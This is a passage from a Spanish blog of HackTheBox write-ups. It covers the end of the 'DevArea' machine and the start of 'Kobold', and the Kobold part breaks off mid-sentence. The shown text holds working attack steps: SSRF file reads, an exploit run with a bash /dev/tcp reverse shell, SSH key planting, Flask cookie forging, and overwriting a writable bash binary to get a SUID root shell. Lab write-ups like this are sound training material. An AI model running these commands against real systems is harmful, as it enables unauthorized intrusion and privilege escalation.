Daemon,,,:/usr/lib/dhcpcd:/bin/false Ahora que tenemos acceso a archivos del servidor, podemos mirar las variables de entorno accediendo a /proc/self/environ:\n1 2 3 4 5 6 7 8 9 10 11 12 LANG=en_US.UTF-8 PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/snap/bin USER=dev_ryan LOGNAME=dev_ryan HOME=/home/dev_ryan SHELL=/bin/bash INVOCATION_ID=88718daca3814fbe8bae9d956ef77a73 JOURNAL_STREAM=8:19468 SYSTEMD_EXEC_PID=1456 MEMORY_PRESSURE_WATCH=/sys/fs/cgroup/system.slice/employee-service.service/memory.pressure MEMORY_PRESSURE_WRITE=c29tZSAyMDAwMDAgMjAwMDAwMAA= JAVA_HOME=/usr/lib/jvm/java-8-openjdk-amd64 Vemos que el proceso se está ejecutando como dev_ryan, lo que implica que podemos ver y entrar a su directorio. Si solicitamos su directorio, en sí (/home/dev_ryan), vemos lo siguiente:\n1 2 3 4 5 6 7 8 9 .bash_history .bash_logout .bashrc .cache .local .profile .ssh syswatch-v1.zip user.txt Tras probar a solicitar la user flag, veo que, por algún motivo, no se puede. De todas formas, podemos solicitar syswatch-v1.zip y guardarlo como base64, luego convertirlo a zip y extraer sus contenidos, a ver si hay algo interesante.\n1 2 3 4 5 6 7 $ cat zip UEsDBAoAAAAAALJEjlsAAAAAAAAAAAAAAAAJABwAc3lzd2F0Y2gvVVQJAAOfvT5poL0+aXV4CwABBAAAAA... #base64 $ cat zip | base64 -d \u0026gt; syswatch-v1.zip $ file syswatch-v1.zip syswatch-v1.zip: Zip archive data, made by v3.0 UNIX, extract using at least v1.0, last modified Dec 14 2025 08:37:36, uncompressed size 0, method=store Si abrimos el .zip, vemos los archivos de una app de flask:\n1 2 3 4 5 6 7 8 $ tree . ├── backup ├── config ... │ ├── syswatch.db ... └── syswatch.sh Encontramos un syswatch.db (SQLite3), si lo abrimos:\nTenemos el usuario admin y un hash: scrypt:32768:8:1$IyKfiteB3TNFK6Hv$a0fbf5283db6a13859776827133e99d4d5ab43e85bedd05b06119e6fdca096ac81570d4497a836d09a155884182b6442cfcf6986b96310b514f34d9da871cb70. Pero, tristemente y tras crackearlo con hashcat, resuelve a admin, y, todavía más tristemente, tras probar combinaciones con admin y dev_ryan, no podemos iniciar sesión en ningún sitio, así que se trataba de un placeholder.\nMás enumeración # A partir de aquí voy a abstraer cada payload SSRF con comandos en el servidor, como ls /opt o cat /home/dev_ryan/.bashrc, para evitar tener que poner el payload cada vez, pero es importante recordar que aquí todavía estamos usando el SSRF del CVE-2022-46364, y que todo va en formato href=\u0026quot;file:///opt\u0026quot;, no en ls /opt.\nSi listamos lo que hay en /opt:\n1 2 3 4 5 6 7 8 9 10 11 12 13 $ ls /opt EmployeeService # El directorio al que hemos podido acceder antes HoverFly syswatch # No nos deja listar contenidos $ ls /opt/HoverFly hoverctl hoverfly LICENSE.txt VERSION.txt $ cat /opt/HoverFly/VERSION.txt master-4541 linux_amd64 Pero si buscamos en Internet vemos que no hay una \u0026ldquo;versión 4541\u0026rdquo;, y si clonamos el repo y miramos los commits, tampoco hay un commit 4541 en la rama master.\nPasado un rato me planteo que dado que Hoverfly (y el dashboard) se ejecutan como servicios, posiblemente tengan algún tipo de entrada en Systemd. Estos archivos de configuración normalmente se guardan en /etc/systemd/system/ o /lib/systemd/system.\nSi probamos con el primero:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 $ cat /etc/systemd/system/hoverfly.service #No sabemos el nombre de servicio, hay que probar. [Unit] Description=HoverFly service After=network.target [Service] User=dev_ryan Group=dev_ryan WorkingDirectory=/opt/HoverFly ExecStart=/opt/HoverFly/hoverfly -add -username admin -password O7IJ27MyyXiU -listen-on-host 0.0.0.0 Restart=on-failure RestartSec=5 StartLimitIntervalSec=60 StartLimitBurst=5 LimitNOFILE=65536 StandardOutput=journal StandardError=journal [Install] WantedBy=multi-user.target Y aquí tenemos las credenciales admin:O7IJ27MyyXiU.\nPuerto 8888: Dashboard # Ya con las credenciales, probamos a iniciar sesión en el dashboard y: Tenemos la versión v1.11.3, vulnerable a CVE-2025-54123, Command Injection en el endpoint /api/v2/hoverfly/middleware, CVSS9.8.\nHay un PoC público así que vamos a aprovecharlo:\n1 2 3 4 5 6 7 8 9 $ python3 CVE-2025-54123.py -t http://devarea.htb:8888 -u admin -p O7IJ27MyyXiU -c \u0026#39;bash -i \u0026gt;\u0026amp; /dev/tcp/10.10.14.219/4444 0\u0026gt;\u0026amp;1\u0026#39; ... [PAYLOAD] { \u0026#34;binary\u0026#34;: \u0026#34;/bin/bash\u0026#34;, \u0026#34;script\u0026#34;: \u0026#34;bash -i \u0026gt;\u0026amp; /dev/tcp/10.10.14.219/4444 0\u0026gt;\u0026amp;1\u0026#34; } [*] Sending exploit to http://devarea.htb:8888/api/v2/hoverfly/middleware... Y en nuestro listener:\n1 2 3 4 5 6 $ penelope -i 10.10.14.219 [+] Listening for reverse shells on 10.10.14.219:4444 [+] Got reverse shell from devarea~10.129.19.233-Linux-x86_64 [+] Shell upgraded successfully using /usr/bin/python3! dev_ryan@devarea:/opt/HoverFly$ Ahora creamos un par de claves ssh y subimos la pública al authorized_keys de dev_ryan.\n1 2 3 4 5 6 7 8 9 $ ssh-keygen -t rsa Generating public/private rsa key pair. Enter file in which to save the key (/home/kali/.ssh/id_rsa): ./dev_ryan ... The key fingerprint is: SHA256:fHffzmWTBKfRWMdceWMArx/OiJ80AfO6FaU6A//snMs kali@kali The key\u0026#39;s randomart image is: +---[RSA 3072]----+ | ....+=| Desde el servidor:\n1 dev_ryan@devarea:~$ echo \u0026#39;ssh-rsa AAAAB3...\u0026#39; \u0026gt; ~/.ssh/authorized_keys Y nos conectamos.\n1 2 3 4 $ ssh -i dev_ryan dev_ryan@devarea.htb Welcome to Ubuntu 24.04.4 LTS (GNU/Linux 6.8.0-106-generic x86_64) dev_ryan@devarea:~$ Privesc # Si miramos los binarios que podemos ejecutar como root:\n1 2 3 4 5 6 dev_ryan@devarea:~$ sudo -l Matching Defaults entries for dev_ryan on devarea: env_reset, mail_badpass, secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin\\:/snap/bin, use_pty User dev_ryan may run the following commands on devarea: (root) NOPASSWD: /opt/syswatch/syswatch.sh, !/opt/syswatch/syswatch.sh web-stop, !/opt/syswatch/syswatch.sh web-restart Nos fijamos en el programa (que es exactamente al que teníamos acceso en el .zip), podemos ver varios archivos y scripts, tanto de bash como de python. Además, también hay una app web ejecutándose en localhost:7777:\nSi probamos con admin:admin (creackeado antes en el .db) sale \u0026ldquo;Invalid credentials\u0026rdquo;.\nVolviendo al programa general, el script que inicia y crea todo es el siguiente:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 #!/bin/bash set -euo pipefail if [ \u0026#34;$(id -u)\u0026#34; -ne 0 ]; then echo \u0026#34;Require root\u0026#34;; exit 1; fi echo \u0026#34;[*] SysWatch setup starting\u0026#34; ... [SNIP]... # 1. Se crea el user \u0026#34;syswatch\u0026#34; # 2. Se crea el directorio /opt/syswatch (al que no tenemos acceso) y se instala el programa \u0026#34;$OPT_DIR/venv/bin/pip\u0026#34; install -r \u0026#34;$OPT_DIR/syswatch_gui/requirements.txt\u0026#34; ENV_FILE=\u0026#34;/etc/syswatch.env\u0026#34; SECRET=\u0026#34;${SYSWATCH_SECRET_KEY:-}\u0026#34; ADMIN=\u0026#34;${SYSWATCH_ADMIN_PASSWORD:-}\u0026#34; if [ -z \u0026#34;$SECRET\u0026#34; ]; then if command -v openssl \u0026gt;/dev/null 2\u0026gt;\u0026amp;1; then SECRET=\u0026#34;$(openssl rand -hex 32)\u0026#34; else SECRET=\u0026#34;$(head -c 32 /dev/urandom | xxd -p)\u0026#34; fi fi [ -z \u0026#34;$ADMIN\u0026#34; ] \u0026amp;\u0026amp; ADMIN=\u0026#34;SyswatchAdmin2026\u0026#34; cat \u0026gt; \u0026#34;$ENV_FILE\u0026#34; \u0026lt;\u0026lt;EOF SYSWATCH_SECRET_KEY=$SECRET SYSWATCH_ADMIN_PASSWORD=$ADMIN SYSWATCH_LOG_DIR=$OPT_DIR/logs SYSWATCH_DB_PATH=$OPT_DIR/syswatch_gui/syswatch.db SYSWATCH_PLUGIN_DIR=$OPT_DIR/plugins SYSWATCH_BACKUP_DIR=$OPT_DIR/backup SYSWATCH_VERSION=1.0.0 EOF chmod 755 \u0026#34;$ENV_FILE\u0026#34; WEB_UNIT=\u0026#34;/etc/systemd/system/syswatch-web.service\u0026#34; cat \u0026gt; \u0026#34;$WEB_UNIT\u0026#34; \u0026lt;\u0026lt;EOF [Unit] Description=SysWatch Web GUI After=network.target ... Aquí vemos que, tras instalarse el programa en /opt/syswatch, se crea una clave privada hexadecimal de 32 dígitos, además, parece que tenemos una posible contraseña SyswatchAdmin2026. Luego se crea un servicio, si miramos a fondo:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 dev_ryan@devarea:~$ cat /etc/systemd/system/syswatch-web.service [Unit] Description=SysWatch Web GUI After=network.target [Service] Type=simple User=syswatch Group=syswatch EnvironmentFile=/etc/syswatch.env WorkingDirectory=/opt/syswatch/syswatch_gui ExecStart=/opt/syswatch/venv/bin/python /opt/syswatch/syswatch_gui/app.py Restart=on-failure [Install] WantedBy=multi-user.target dev_ryan@devarea:~$ cat /etc/syswatch.env SYSWATCH_SECRET_KEY=f3ac48a6006a13a37ab8da0ab0f2a3200d8b3640431efe440788beaefa236725 SYSWATCH_ADMIN_PASSWORD=SyswatchAdmin2026 SYSWATCH_LOG_DIR=/opt/syswatch/logs SYSWATCH_DB_PATH=/opt/syswatch/syswatch_gui/syswatch.db SYSWATCH_PLUGIN_DIR=/opt/syswatch/plugins SYSWATCH_BACKUP_DIR=/opt/syswatch/backup SYSWATCH_VERSION=1.0.0 Hemos conseguido la \u0026ldquo;clave secreta de Syswatch\u0026rdquo;, aunque todavía tenemos que descubrir para qué sirve.\nIniciando sesión en Web App # Ahora, con el username admin de antes, y la contraseña SyswatchAdmin2026 podemos probar a iniciar sesión:\nDesgraciadamente, tampoco sirve de mucho. Dicho esto, sí que tenemos una ventaja, y es que, aunque la contraseña no ha servido, tenemos la variable SYSWATCH_SECRET_KEY. Si miramos para qué la usa la app web:\n1 2 $ cat app.py | grep SYSWATCH_SECRET_KEY app.secret_key = os.environ.get(\u0026#34;SYSWATCH_SECRET_KEY\u0026#34;, \u0026#34;change-me\u0026#34;) Vemos que se trata específicamente de la clave secreta que Flask usa para firmar sus cookies. El hecho de que la conozcamos implica que podríamos crear una cookie maliciosa. En app.py, vemos que, cuando la app comprueba que el usuario está autenticado, hace lo siguiente:\n1 2 3 4 ... def require_login(): if not session.get(\u0026#34;user_id\u0026#34;): return redirect(url_for(\u0026#34;login\u0026#34;)) Esto significa que, con un user_id y el SYSWATCH_SECRET_KEY podemos crear una cookie \u0026ldquo;maliciosa\u0026rdquo; y firmarla, que nos autentique:\n1 2 $ flask-unsign --sign --cookie \u0026#34;{\u0026#39;user_id\u0026#39;: 1}\u0026#34; --secret \u0026#39;f3ac48a6006a13a37ab8da0ab0f2a3200d8b3640431efe440788beaefa236725\u0026#39; eyJ1c2VyX2lkIjoxfQ.adKAkg.Ae_Y8bxSPbe3DJq_AXGhP3gzIro Ahora vamos al panel de login, entramos en las herramientas de desarrollador, vamos a Storage\u0026gt;Cookies y ahí añadimos una \u0026ldquo;session\u0026rdquo; con valor eyJ1c2VyX2lkIjoxfQ.adKAkg.Ae_Y8bxSPbe3DJq_AXGhP3gzIro.\nSi ahora recargamos la página:\nAquí podemos ver varias cosas, aunque tenemos un problema, y es que si vamos mirando las opciones que nos da la app web, tanto desde el navegador, como mirando su código fuente, veremos que no son especialmente vulnerables, así que quizás hayamos conseguido iniciar sesión para nada. Tendremos que mirar por otro lado.\nWritable Bash # Pasado un rato mirando, encuentro lo siguiente:\n1 2 3 4 5 6 7 dev_ryan@devarea:~$ find / -type f -user root -perm /o=w ! -path \u0026#34;/proc/*\u0026#34; 2\u0026gt;/dev/null /sys/kernel/security/apparmor/.remove /sys/kernel/security/apparmor/.replace /sys/kernel/security/apparmor/.load /sys/kernel/security/apparmor/.notify /sys/kernel/security/apparmor/.access /usr/bin/bash Vemos que el binario de bash puede ser modificado por cualquiera, incluidos nosotros. Por esto mismo, podemos modificarlo, y cuando cualquier script ejecutándose como root abra bash, ejecutará lo que queramos con sus privilegios.\nPrimero copiamos el bash original a un sitio seguro:\n1 dev_ryan@devarea:~$ cp /usr/bin/bash /tmp/realbash Ahora creamos un wrapper /tmp/fakebash:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 dev_ryan@devarea:~$ cat /tmp/fakebash #!/tmp/realbash if [ \u0026#34;$EUID\u0026#34; -eq 0 ]; then # Si esto lo ejecuta root: chown root:root /tmp/realbash # Cambiar owner y grupo de /tmp/realbash a root chmod 4755 /tmp/realbash # Añadir bit SUID a /tmp/realbash fi # En cualquier caso, luego se ejecuta bash con los argumentos pasados: exec /tmp/realbash \u0026#34;$@\u0026#34; # --- Fin de /tmp/fakebash dev_ryan@devarea:~$ cat /tmp/fakebash \u0026gt; /usr/bin/bash # Intentamos copiar fakebash al bash writable. -bash: /usr/bin/bash: Text file busy Pero, como vemos, antes de copiarlo, necesitamos no estar ejecutando bash, así que cerramos todas las sesiones de SSH (luego podemos volver a abrirlas) y entramos por SSH con un shell distinto a bash:\n1 2 3 4 5 6 7 8 9 10 11 $ ssh -i dev_ryan dev_ryan@devarea.htb /bin/sh cat /tmp/fakebash \u0026gt; /usr/bin/bash cat /usr/bin/bash #!/tmp/realbash if [ \u0026#34;$EUID\u0026#34; -eq 0 ]; then chown root:root /tmp/realbash chmod 4755 /tmp/realbash fi exec /tmp/realbash \u0026#34;$@\u0026#34; Ya tenemos nuestro bash malicioso. Ahora necesitamos ejecutarlo como root. Para ello, miramos otro de los scripts de Syswatch: syswatch.sh. En él encontramos:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 #!/bin/bash ... main() { case \u0026#34;${1:-}\u0026#34; in web) start_web ;; web-stop) stop_web ;; web-restart|web-reload) reload_web ;; web-status) status_web ;; plugin) shift; execute_plugin \u0026#34;$@\u0026#34; ;; plugins) list_plugins ;; logs) shift; view_logs \u0026#34;$@\u0026#34; ;; --version) echo \u0026#34;$VERSION\u0026#34; ;; help|--help|-h) usage ;; *) usage ;; esac } Recordemos de sudo -l que no podíamos usar el argumento web-restart, pero sí podemos usar uno exactamente equivalente: web-reload, que no se había considerado al establecer la prohibición. De todas formas, dado que el propio syswatch.sh es un script de bash, cualquier argumento permitido valdría porque se llamaría a bash de todas formas.\nSi ahora usamos web-reload:\n1 2 3 4 5 6 7 8 9 10 realbash-5.2$ sudo /opt/syswatch/syswatch.sh web-reload [*] Reloading SysWatch Web GUI service... [+] SysWatch Web GUI reloaded successfully! realbash-5.2$ ls -al /tmp/realbash -rwsr-xr-x 1 root root 1446024 Apr 5 15:57 /tmp/realbash realbash-5.2$ /tmp/realbash -p realbash-5.2# whoami root Y tenemos root.\n","date":"30 de marzo de 2026","externalUrl":null,"permalink":"/writeups/devarea/","section":"Writeups","summary":"OS: Linux | Dificultad: Medium | Conceptos: Hoverfly, SSRF, Servicios, Flask, Writable bash","title":"HackTheBox - DevArea","type":"writeups"},{"content":"","date":"30 de marzo de 2026","externalUrl":null,"permalink":"/tags/hoverfly/","section":"Tags","summary":"","title":"Hoverfly","type":"tags"},{"content":"","date":"30 de marzo de 2026","externalUrl":null,"permalink":"/tags/jar/","section":"Tags","summary":"","title":"Jar","type":"tags"},{"content":"","date":"30 de marzo de 2026","externalUrl":null,"permalink":"/tags/systemctl/","section":"Tags","summary":"","title":"Systemctl","type":"tags"},{"content":"","date":"30 de marzo de 2026","externalUrl":null,"permalink":"/tags/writable-bash/","section":"Tags","summary":"","title":"Writable Bash","type":"tags"},{"content":" Dificultad: easy Tiempo aprox. ~4.5h Datos Iniciales: 10.129.16.140 Nmap Scan # Tras realizar un escaneo nmap completo, se encuentran los siguientes puertos abiertos:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 8c:45:12:36:03:61:de:0f:0b:2b:c3:9b:2a:92:59:a1 (ECDSA) |_ 256 d2:3c:bf:ed:55:4a:52:13:b5:34:d2:fb:8f:e4:93:bd (ED25519) 80/tcp open http nginx 1.24.0 (Ubuntu) |_http-server-header: nginx/1.24.0 (Ubuntu) |_http-title: Did not follow redirect to https://kobold.htb/ 443/tcp open ssl/http nginx 1.24.0 (Ubuntu) |_http-title: Did not follow redirect to https://kobold.htb/ | tls-alpn: | http/1.1 | http/1.0 |_ http/0.9 |_http-server-header: nginx/1.24.0 (Ubuntu) |_ssl-date: TLS randomness does not represent time | ssl-cert: Subject: commonName=kobold.htb | Subject Alternative Name: DNS:kobold.htb, DNS:*.kobold.htb | Not valid before: 2026-03-15T15:08:55 |_Not valid after: 2125-02-19T15:08:55 3552/tcp open http Golang net/http server |_http-title: Site doesn\u0026#39;t have a title (text/html; charset=utf-8). | fingerprint-strings: | GenericLines: | HTTP/1.1 400 Bad Request | Content-Type: text/plain; charset=utf-8 | Connection: close | Request | GetRequest, HTTPOptions: | HTTP/1.0 200 OK | Accept-Ranges: bytes | Cache-Control: no-cache, no-store, must-revalidate | Content-Length: 2081 | Content-Type: text/html; charset=utf-8 | Expires: 0 | Pragma: no-cache | Date: Tue, 24 Mar 2026 18:56:24 GMT | \u0026lt;!doctype html\u0026gt; | \u0026lt;html lang=\u0026#34;%lang%\u0026#34;\u0026gt; | \u0026lt;head\u0026gt; | \u0026lt;meta charset=\u0026#34;utf-8\u0026#34; /\u0026gt; | \u0026lt;meta http-equiv=\u0026#34;Cache-Control\u0026#34; content=\u0026#34;no-cache, no-store, must-revalidate\u0026#34; /\u0026gt; | \u0026lt;meta http-equiv=\u0026#34;Pragma\u0026#34; content=\u0026#34;no-cache\u0026#34; /\u0026gt; | \u0026lt;meta http-equiv=\u0026#34;Expires\u0026#34; content=\u0026#34;0\u0026#34; /\u0026gt; | \u0026lt;link rel=\u0026#34;icon\u0026#34; href=\u0026#34;/api/app-images/favicon\u0026#34; /\u0026gt; | \u0026lt;meta name=\u0026#34;viewport\u0026#34; content=\u0026#34;width=device-width, initial-scale=1, maximum-scale=1, viewport-fit=cover\u0026#34; /\u0026gt; | \u0026lt;link rel=\u0026#34;manifest\u0026#34; href=\u0026#34;/app.webmanifest\u0026#34; /\u0026gt; | \u0026lt;meta name=\u0026#34;theme-color\u0026#34; content=\u0026#34;oklch(1 0 0)\u0026#34; media=\u0026#34;(prefers-color-scheme: light)\u0026#34; /\u0026gt; | \u0026lt;meta name=\u0026#34;theme-color\u0026#34; content=\u0026#34;oklch(0.141 0.005 285.823)\u0026#34; media=\u0026#34;(prefers-color-scheme: dark)\u0026#34; /\u0026gt; |_ \u0026lt;link rel=\u0026#34;modu 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port3552-TCP:V=7.98%I=7%D=3/24%Time=69C2DE58%P=x86_64-pc-linux-gnu%r(Ge SF:nericLines,67,\u0026#34;HTTP/1\\.1\\x20400\\x20Bad\\x20Request\\r\\nContent-Type:\\x20t ...[SNIP]... Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel # Nada en UDP (Solo DHCP filtrado) Encontramos el dominio kobold.htb y una entrada DNS *.kobold.htb, así que probaremos a buscar vhosts. De momento añadimos el nombre a /etc/hosts:\n1 2 $ echo \u0026#34;10.129.16.140 kobold.htb\u0026#34; | sudo tee -a /etc/hosts 10.129.16.140 kobold.htb Tenemos los siguientes puertos abiertos:\n22/tcp (OpenSSH 9.6p1): Vulnerable a RegreSSHion y otros CVE más, ninguno relevante. 80/tcp (nginx 1.24.0): Servidor HTTP, algunas vulnerabilidades no relevantes, redirige a HTTPS. 443/tcp (nginx 1.24.0): Servidor HTTP(S) 3552/tcp (Golang net/http server): Al parecer un servidor HTTP. Puerto 3552 # El escaneo de nmap nos ha dejado alguna pista del posible servicio que puede haber detrás, con contenido en headers como /app.webmanifest o /api/app-images/favicon. Si buscamos específicamente servicios que se ejecuten en el puerto 3552 por defecto y sirvan los elementos anteriores, encontramos que es posible que se trate de Qlik Replicate, aunque tendremos que conectarnos para confirmarlo.\nSi nos conectamos por Firefox, veremos una página en blanco, con el siguiente código fuente:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 \u0026lt;!doctype html\u0026gt; \u0026lt;html lang=\u0026#34;%lang%\u0026#34;\u0026gt; \u0026lt;head\u0026gt; \u0026lt;meta charset=\u0026#34;utf-8\u0026#34; /\u0026gt; \u0026lt;meta http-equiv=\u0026#34;Cache-Control\u0026#34; content=\u0026#34;no-cache, no-store, must-revalidate\u0026#34; /\u0026gt; \u0026lt;meta http-equiv=\u0026#34;Pragma\u0026#34; content=\u0026#34;no-cache\u0026#34; /\u0026gt; \u0026lt;meta http-equiv=\u0026#34;Expires\u0026#34; content=\u0026#34;0\u0026#34; /\u0026gt; \u0026lt;link rel=\u0026#34;icon\u0026#34; href=\u0026#34;/api/app-images/favicon\u0026#34; /\u0026gt; \u0026lt;meta name=\u0026#34;viewport\u0026#34; content=\u0026#34;width=device-width, initial-scale=1, maximum-scale=1, viewport-fit=cover\u0026#34; /\u0026gt; \u0026lt;link rel=\u0026#34;manifest\u0026#34; href=\u0026#34;/app.webmanifest\u0026#34; /\u0026gt; \u0026lt;meta name=\u0026#34;theme-color\u0026#34; content=\u0026#34;oklch(1 0 0)\u0026#34; media=\u0026#34;(prefers-color-scheme: light)\u0026#34; /\u0026gt; \u0026lt;meta name=\u0026#34;theme-color\u0026#34; content=\u0026#34;oklch(0.141 0.005 285.823)\u0026#34; media=\u0026#34;(prefers-color-scheme: dark)\u0026#34; /\u0026gt; \u0026lt;link rel=\u0026#34;modulepreload\u0026#34; href=\u0026#34;/_app/immutable/entry/start.B8B5EbJt.js\u0026#34;\u0026gt; \u0026lt;link rel=\u0026#34;modulepreload\u0026#34; href=\u0026#34;/_app/immutable/chunks/DwHmfVrp.js\u0026#34;\u0026gt; ...[SNIP]... \u0026lt;link rel=\u0026#34;modulepreload\u0026#34; href=\u0026#34;/_app/immutable/chunks/6YvwyG1B.js\u0026#34;\u0026gt; \u0026lt;link rel=\u0026#34;modulepreload\u0026#34; href=\u0026#34;/_app/immutable/chunks/CZ6RKXrE.js\u0026#34;\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body data-sveltekit-preload-data=\u0026#34;hover\u0026#34;\u0026gt; \u0026lt;div style=\u0026#34;display: contents\u0026#34;\u0026gt; \u0026lt;script\u0026gt; { __sveltekit_1qbikdi = { base: \u0026#34;\u0026#34; }; const element = document.currentScript.parentElement; Promise.all([ import(\u0026#34;/_app/immutable/entry/start.B8B5EbJt.js\u0026#34;), import(\u0026#34;/_app/immutable/entry/app.DjeIUeIu.js\u0026#34;) ]).then(([kit, app]) =\u0026gt; { kit.start(app, element); }); if (\u0026#39;serviceWorker\u0026#39; in navigator) { addEventListener(\u0026#39;load\u0026#39;, function () { navigator.serviceWorker.register(\u0026#39;/service-worker.js\u0026#39;); }); } } \u0026lt;/script\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; Aquí podemos anotar varios elementos:\nDirectorio /api Directorios /_app/immutable/entry/ Elemento /app.webmanifest app.webmanifest # En el archivo app.webmanifest encontramos lo siguiente:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 { \u0026#34;name\u0026#34;: \u0026#34;Arcane\u0026#34;, \u0026#34;short_name\u0026#34;: \u0026#34;Arcane\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Modern Docker container management platform\u0026#34;, \u0026#34;theme_color\u0026#34;: \u0026#34;oklch(0.141 0.005 285.823)\u0026#34;, \u0026#34;background_color\u0026#34;: \u0026#34;oklch(0.141 0.005 285.823)\u0026#34;, \u0026#34;display\u0026#34;: \u0026#34;fullscreen\u0026#34;, \u0026#34;orientation\u0026#34;: \u0026#34;portrait-primary\u0026#34;, \u0026#34;scope\u0026#34;: \u0026#34;/\u0026#34;, \u0026#34;start_url\u0026#34;: \u0026#34;/\u0026#34;, \u0026#34;lang\u0026#34;: \u0026#34;en\u0026#34;, \u0026#34;categories\u0026#34;: [\u0026#34;productivity\u0026#34;, \u0026#34;developer\u0026#34;, \u0026#34;utilities\u0026#34;], \u0026#34;icons\u0026#34;: [ { \u0026#34;src\u0026#34;: \u0026#34;img/pwa/icon-72x72.png\u0026#34;, \u0026#34;sizes\u0026#34;: \u0026#34;72x72\u0026#34;, \u0026#34;type\u0026#34;: \u0026#34;image/png\u0026#34;, \u0026#34;purpose\u0026#34;: \u0026#34;maskable any\u0026#34; }, ...[SNIP]... { \u0026#34;src\u0026#34;: \u0026#34;img/pwa/icon-512x512.png\u0026#34;, \u0026#34;sizes\u0026#34;: \u0026#34;512x512\u0026#34;, \u0026#34;type\u0026#34;: \u0026#34;image/png\u0026#34;, \u0026#34;purpose\u0026#34;: \u0026#34;maskable any\u0026#34; } ] } Vemos que se nombra \u0026ldquo;Arcane\u0026rdquo;, una plataforma para, según el json, gestionar containers Docker.\nArcane # Tras mirar el web.manifest y descartar Qlik, vemos que efectivamente estamos ante Arcane, una plataforma de código abierto para gestionar containers Docker.\nAunque antes en Firefox nos salía una página en blanco, era porque teníamos que esperar unos segundos, si volvemos ahora:\nY vemos que se trata de la versión 1.13.0, algo retrasada respecto a la actual a la hora de escribir este writeup (1.16.4). Si buscamos la versión, encontramos varios CVE (Como el CVE-2026-23520) que afectan a las versiones anteriores a la 1.13.0. Al parecer no hay vulnerabilidades críticas para esta versión.\nSi miramos la documentación de Arcane, vemos que las credenciales por defecto son arcane:arcane-admin, pero si las probamos:\nDado que las credenciales por defecto no son válidas y la versión ya no es vulnerable, tenemos que ir al dominio principal.\nKobold # Entramos al dominio principal, vemos esto:\nSi probamos a tocar cualquier cosa, vemos que no hay nada, así que enumeramos subdominios.\nNota: HTTPS A la hora de enumerar subdominios, en estos casos en los que el puerto http solo está para redirigirnos a https, lo suyo sería enumerar subdominios usando https y no http. En este caso, si probamos a enumerar con --url http://kobold.htb en lugar de --url https://kobold.htb veremos que no se encuentra nada.\nEn relación al aviso anterior, si probamos lo siguiente hacia http:\n1 2 3 4 5 6 7 8 9 10 11 12 13 $ gobuster vhost --url http://kobold.htb -w /usr/share/wordlists/seclists/Discovery/DNS/n0kovo_subdomains.txt -ad =============================================================== Gobuster v3.8.2 by OJ Reeves (@TheColonial) \u0026amp; Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://kobold.htb [+] Wordlist: /usr/share/wordlists/seclists/Discovery/DNS/n0kovo_subdomains.txt [+] Append Domain: true =============================================================== Starting gobuster in VHOST enumeration mode =============================================================== Progress: 56528 / 3000001 (1.88%) # Nada al estar unos 5 minutos buscando Pero si probamos con https (ignorando el aviso por certificado autofirmado con -k):\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 $ gobuster vhost --url https://kobold.htb --wordlist /usr/share/wordlists/seclists/Discovery/DNS/n0kovo_subdomains.txt -k -ad =============================================================== Gobuster v3.8.2 by OJ Reeves (@TheColonial) \u0026amp; Christian Mehlmauer (@firefart) =============================================================== [+] Url: https://kobold.htb [+] Wordlist: /usr/share/wordlists/seclists/Discovery/DNS/n0kovo_subdomains.txt [+] Append Domain: true =============================================================== Starting gobuster in VHOST enumeration mode =============================================================== bin.kobold.htb Status: 200 [Size: 24402] mcp.kobold.htb Status: 200 [Size: 466] Progress: 80853 / 3000001 (2.70%) Ahí están, bin.kobold.htb y mcp.kobold.htb (tras unos minutos).\nNota: Paciencia En mi caso, antes de encontrar el primer subdominio bin.kobold.htb, asumiendo que en una máquina HTB se habría puesto un subdominio de los primeros en las wordlists, estuve a punto de parar la búsqueda y tirar por otro lado, así que paciencia.\nSubdominio bin # Al conectarnos encontramos esto:\nSegún la propia página (abajo a la derecha):\nPrivateBin is a minimalist, open source online pastebin where the server has zero knowledge of stored data. Data is encrypted/decrypted in the browser using 256 bits AES.\nAdemás vemos que se usa la versión 2.0.2, vulnerable a CVE-2025-64714, que permite a un atacante hacer un LFI en una característica de \u0026ldquo;template-switching\u0026rdquo;.\nSi buscamos archivos de Privatebin que en internet se consideran relevantes, encontramos varios:\ncfg/conf.php: Config. principal, no podemos verlo cfg/conf.sample.php: No podemos verlo data/: Todos los pastes y comentarios se guardan aquí bin/: Ejecutables y scripts cli. lib/ y vendor/: librerías PHP y demás, pueden enumerarse versiones. tpl/: Directorios de plantillas, precisamente relacionado con el CVE anterior. Hay varias cosas que podemos solicitar, pero el resultado no cambia mucho:\nSi solicitamos algo como bin.kobold.htb/\u0026lt;x\u0026gt;, se nos devuelve la página principal. Si solicitamos algo como bin.kobold.htb/\u0026lt;x\u0026gt;/, se nos lleva a una página como esta: Dado que se nos pide contraseña, poco más podemos hacer.\nSubdominio mcp # Tras buscar qué es MCP cuando se trata de un subdominio, descubro que 